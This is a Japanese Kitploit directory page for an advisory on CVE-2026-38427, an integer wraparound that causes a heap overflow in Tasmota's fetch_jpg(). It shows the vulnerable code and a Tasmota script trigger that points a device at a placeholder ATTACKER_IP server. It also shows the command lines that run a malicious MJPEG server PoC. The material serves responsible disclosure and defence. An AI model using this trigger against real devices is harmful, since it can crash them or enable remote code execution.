Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-38427 — CVE-2026-38427 — 整数ラップアラウンド → Tasmota fetch_jpg() uint16_t におけるヒープバッファオーバーフロー (Tasmota <= 15.3.0.3) | Kitploit
ツール/GitHubGitHub/sermikr0/cve-2026-38427
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトペネトレーションテストハードウェアとIoTセキュリティバイナリエクスプロイト
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — 整数ラップアラウンド → Tasmota fetch_jpg() uint16_t におけるヒープバッファオーバーフロー (Tasmota <= 15.3.0.3)

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-38427: Tasmota fetch_jpg() における整数ラップアラウンド → ヒープバッファオーバーフロー

CVE: CVE-2026-38427
深刻度: 緊急 (CVSS 9.8)
製品: Arendst Tasmota
影響を受けるバージョン: <= 15.3.0.3
ファイル: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
関数: fetch_jpg() — ケース 2 (MJPEGフレーム取得)
著者: Saidakbarxon Maxsudxonov
開示: 責任ある開示 — 公開前にTasmotaへ報告済み


概要

Tasmotaのスクリプタードライバの fetch_jpg() 関数に、uint16_t 整数ラップアラウンドの脆弱性が存在します。Tasmotaデバイスが攻撃者制御のサーバからMJPEGフレームを取得する際、Content-Length ヘッダーの値は atoi() を介して uint16_t 変数に読み込まれます。65535より大きい値は黙ってラップアラウンドするため(例: 65537 → 1)、大幅に小さすぎるヒープバッファが割り当てられる原因となります。その後デバイスはストリームからラップ後のバイト数のみを読み取り、残りをストリームバッファに残すため、ヒープ/ストリーム状態が破壊され、クラッシュ(DoS)または潜在的なリモートコード実行につながります。


脆弱なコード

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

整数ラップアラウンド表


攻撃シナリオ

悪意のあるTasmotaスクリプトやMITMを介して、Tasmotaデバイスを攻撃者のHTTPサーバに接続させられる攻撃者は、65535を超える Content-Length 値を持つMJPEGフレームを送信できます。デバイスは以下の動作を行います:

  1. 小さなバッファを割り当てる(ラップ後の値)
  2. データのごく一部のみを読み取る
  3. 残りのバイトを残し、HTTP/WiFiストリームの状態を破壊する
  4. クラッシュするか、潜在的なRCEにつながる未定義動作を示す

Tasmotaスクリプトによるトリガー:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

概念実証 (PoC)

PoCは、悪意のある Content-Length 値を持つフレームを送信する偽のMJPEG HTTPサーバを実行します:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

完全な実装については CVE-2026-38427_poc.py を参照してください。


影響

  • 機密性: 高 (ESP32上でRCEの可能性)
  • 完全性: 高
  • 可用性: 高 (確実なクラッシュ/再起動)
  • 攻撃ベクトル: ネットワーク
  • 認証: 不要 (デバイスが攻撃者サーバに接続するようスクリプト化されている必要がある)

タイムライン

  • 2026-03-29: 脆弱性を発見し、MITREに報告
  • 2026-03-29: CVE-2026-38427採番
  • 2026-05-xx: Tasmotaがパッチをリリース (v15.3.0.4以降)

参照

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
ツールをダウンロード
Content-Length (ヘッダー)uint16_t 値割り当て済みバッファ未読バイト
6553600 (スキップ)65536
6553711バイト65536
7000044644464バイト65536
13107200 (スキップ)131072